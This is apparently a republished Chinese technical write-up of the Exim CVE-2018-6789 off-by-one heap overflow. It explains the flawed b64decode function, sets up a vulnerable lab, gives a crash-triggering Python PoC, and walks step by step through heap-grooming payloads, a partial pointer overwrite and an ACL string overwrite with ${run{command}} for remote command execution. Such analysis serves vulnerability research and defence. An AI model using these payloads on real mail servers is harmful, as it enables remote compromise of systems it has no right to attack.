如何進行Exim Off-by-One RCE漏洞利用分析

今天就跟大家聊聊有關如何進行Exim Off-by-One RCE漏洞利用分析，可能很多人都不太了解，為了讓大家更加了解，小編給大家總結了以下內容，希望大家根據這篇文章可以有所收獲。

2018年2月，流行的開源郵件服務器Exim曝出了堆溢出漏洞（CVE-2018-6789），幾乎影響了4.90.1之前的所有版本。

該漏洞的發現者—臺灣安全研究員Meh在博客上提供了利用該漏洞進行遠程代碼執行的思路，在推特中也表明了最終繞過各種緩解措施成功達成遠程代碼執行：

目前Meh并未公開該漏洞利用代碼，華為未然實驗室安全研究員skysider基于Meh的思路在實驗環境下成功實現了遠程命令執行，相關的漏洞環境和利用代碼請訪問：https://github.com/skysider/VulnPOC/tree/master/CVE-2018-6789

1. 漏洞成因

漏洞的成因是b64decode函數在對不規范的base64編碼過的數據進行解碼時可能會溢出堆上的一個字節，比較經典的off-by-one漏洞。

存在漏洞的b64decode函數部分代碼如下：

b64decode(const uschar *code, uschar **ptr)

{

int x, y;

uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;

/* Each cycle of the loop handles a quantum of 4 input bytes. For the last

quantum this may decode to 1, 2, or 3 output bytes. */

 ......

}

這段代碼解碼base64的邏輯是把4個字節當做一組，4個字節解碼成3個字節，但是當最后余3個字節（即len(code)=4n+3）時，會解碼成2個字節，解碼后的總長度為 3n+2 字節，而分配的堆空間的大小為3n+1 ，因此就會發生堆溢出。當然，官方給出的修補方案也很簡單，多分配幾個字節就可以了。

2. 環境搭建

Meh博客中漏洞測試的exim版本是直接通過apt安裝的，但是由于debian官方已經修復了倉庫中exim的漏洞，可以通過查看軟件包源碼的patch信息確認：

root@skysider:~/poc/exim4-4.86.2# apt-get source exim4

......

dpkg-source: info: applying 93_CVE-2017-1000368.patch

dpkg-source: info: applying fix_smtp_banner.patch

dpkg-source: info: applying CVE-2016-9963.patch

dpkg-source: info: applying CVE-2018-6789.patch

我們選擇下載早期版本的源代碼進行編譯安裝：

sudo apt-get build-dep exim4
wget https://github.com/Exim/exim/releases/download/exim-4_89/exim-4.89.tar.xz

在編譯過程中要安裝一些依賴庫，還需要修改Makefile、新建用戶、配置日志文件的權限等，可以參考Dockerfile 的安裝過程。

exim可以在運行時指定配置文件，為了觸發漏洞以及命令執行，需要配置CRAM-MD5 authenticator以及設置acl_smtp_mail等，配置文件如下：

acl_smtp_mail=acl_check_mail

acl_smtp_data=acl_check_data

begin acl

acl_check_mail:

  .ifdef CHECK_MAIL_HELO_ISSUED

  deny

    message = no HELO given before MAIL command

    condition = ${if def:sender_helo_name {no}{yes}}

  .endif

  accept

acl_check_data:

  accept

begin authenticators

fixed_cram:

  driver = cram_md5

  public_name = CRAM-MD5

  server_secret = ${if eq{$auth2}{ph20}{secret}fail}

  server_set_id = $auth2

以調試模式啟動exim服務：

exim -bd -d-receive -C conf.conf

也可以直接使用docker來驗證該漏洞（上面的命令為默認啟動命令）：

docker run -it --name exim -p 25:25 skysider/vulndocker:cve-2018-6789

3. 漏洞測試

我們使用一個簡單的poc來觸發漏洞，poc代碼如下：

#!/usr/bin/python

# -*- coding: utf-8 -*-

import smtplib

from base64 import b64encode

print "this poc is tested in exim 4.89 x64 bit with cram-md5 authenticators"

ip_address = raw_input("input ip address: ")

s = smtplib.SMTP(ip_address)

#s.set_debuglevel(1)

# 1. put a huge chunk into unsorted bin 

s.ehlo("mmmm"+"b"*0x1500) # 0x2020

# 2. send base64 data and trigger off-by-one

#raw_input("overwrite one byte of next chunk")

s.docmd("AUTH CRAM-MD5")

payload = "d"*(0x2008-1)

try:

s.docmd(b64encode(payload)+b64encode('\xf1\xf1')[:-1])

s.quit()

except smtplib.SMTPServerDisconnected:

print "[!] exim server seems to be vulnerable to CVE-2018-6789."

當執行這段代碼時，會觸發內存錯誤

在這個過程中，堆的主要變化如下：

我們可以去觀察錯誤之前的堆，attach到子進程，下圖是發送ehlo消息之后的堆：

發送Auth數據之后，我們可以看一下執行完b64decode函數之后的堆：

圖中圈出來的兩個字節正是我們發送的Auth數據解碼出來的最后兩個字節，最后一個字節0xf1修改了下一個塊的大小，使得原本應該是0x4040（0x6060-0x2020）的unsorted 空閑塊變成了0x40f0，通過查看該空閑塊緊鄰的下一個堆塊可以確認當前unsorted bin的空閑塊大小是被修改了，因此當從該空閑塊分配空間時，malloc函數會檢查該空閑塊的大小 0x40f0 (低字節的低3位是標志位）與緊鄰的下一個堆塊標記的前一個堆塊的大小 0x4040 是否相等，若不相等，就會觸發內存錯誤。

4. Exim內存管理機制

exim在libc提供的堆管理機制的基礎上實現了一套自己的管理堆塊的方法，引入了store pool、store block的概念。store pool是一個單鏈表結構，每一個節點都是一個store block，每個store block的數據大小至少為0x2000，storeblock的結構如下：

/* Structure describing the beginning of each big block. */
typedef struct storeblock {
  struct storeblock *next;
  size_t length;
} storeblock;

下圖展示了一個storepool的完整的數據存儲方式，chainbase是頭結點，指向第一個storeblock，current_block是尾節點，指向鏈表中的最后一個節點。store_last_get指向current_block中最后分配的空間，next_yield指向下一次要分配空間時的起始位置，yield_length則表示當前store_block中剩余的可分配字節數。當current_block中的剩余字節數（yield_length）小于請求分配的字節數時，會調用malloc分配一個新的storeblock塊，然后從該storeblock中分配需要的空間。更多關于exim內存管理機制可以查看store.c。

5. 漏洞利用

整體的漏洞利用思路參考漏洞發現者Meh的博客，通過覆蓋acl字符串為 ${run{command}} 的方式，達到遠程命令執行的目的。因為不同的配置和啟動參數可能會導致exim服務在啟動運行過程中堆棧布局存在差異，因此本漏洞利用腳本僅在給定的環境中測試生效。

下面是漏洞利用的詳細步驟：

5.1 發送ehlo，布局堆空間

ehlo(s, "a"*0x1000) # 0x2020

ehlo(s, "a"*0x20)

 形成一塊大小為0x7040的空閑堆塊

5.2 發送unknown command（包含不可打印字符）

從unsorted bin分配內存空間

docmd(s, "\xee"*0x700)

發送的unknown command 的大小要滿足 yield_length < (length + nonprintcount * 3 + 1) ，從而使得發送的unknown command能夠調用malloc函數分配一個新的storeblock。

5.3 發送ehlo信息回收unknown命令分配的空間

ehlo(s, "c"*0x2c00)

在回收unknown command占用的內存空間時，由于之前的sender_host_name占用的內存空間已經釋放，會發生合并，形成大小為0x2050的空閑塊

5.4 發送Auth數據，觸發漏洞，修改ehlo信息所在堆塊的大小

 payload = "d"*(0x2020+0x30-0x18-1)

 docmd(s, b64encode(payload)+b64encode("\xf1\xf1")[:-1])

5.5 發送Auth數據偽造下一個塊的塊頭信息，繞過釋放sender_host_name所在堆塊時的內存檢查

payload2 = 'm'*0x70+p64(0x1f41) # modify fake size

docmd(s, b64encode(payload2))

5.6 釋放sender_host_name所在堆塊

同時為了不釋放其他storeblock，發送包含無效字符的信息

ehlo(s, "skysider+")

5.7 發送Auth數據

修改overlapped所在storeblock的next指針，令其指向acl字符串所在的storeblock

payload3 = 'a'*0x2bf0 + p64(0) + p64(0x2021) + p8(0x80)

try_addr = p16(try_addr*0x10+4)  # to change

docmd(s, b64encode(payload3)+b64encode(try_addr)[:-1])

由于地址隨機化，acl所在的storeblock高位字節未知（在docker環境下，低12bit為0x480不變），但是原始的next指針指向的storeblock與要修改的storeblock高位字節相同，僅低位3字節不同，因此可以采用局部overwrite，只需要爆破12bit即可。

5.8 發送ehlo消息釋放所有的storeblock

ehlo(s, "released")

此時unsorted bin表中存在多個空閑塊，如下圖所示，其中框出來的空閑塊就是包含acl的storeblock

5.9 覆蓋acl字符串

payload4 = 'a'*0x18 + p64(0xb1) + 't'*(0xb0-0x10) + p64(0xb0) + p64(0x1f40)

payload4 += 't'*(0x1f80-len(payload4))

auth(s, b64encode(payload4)+'ee')

payload5 = "a"*0x78 + "${run{" + command + "}}\x00"

auth(s, b64encode(payload5)+"ee")

發送第一個auth消息之后，unsorted bin表如下圖所示

接著再分配合適的空間時，就可以獲取目標storeblock所在的堆塊，覆蓋其中的acl字符串

5.10 觸發acl檢查

s.sendline("MAIL FROM: <test@163.com>")

至此就可以遠程執行命令，完整的漏洞利用腳本見exp.py ，效果如下：

看完上述內容，你們對如何進行Exim Off-by-One RCE漏洞利用分析有進一步的了解嗎？如果還想了解更多知識或者相關內容，請關注億速云行業資訊頻道，感謝大家的支持。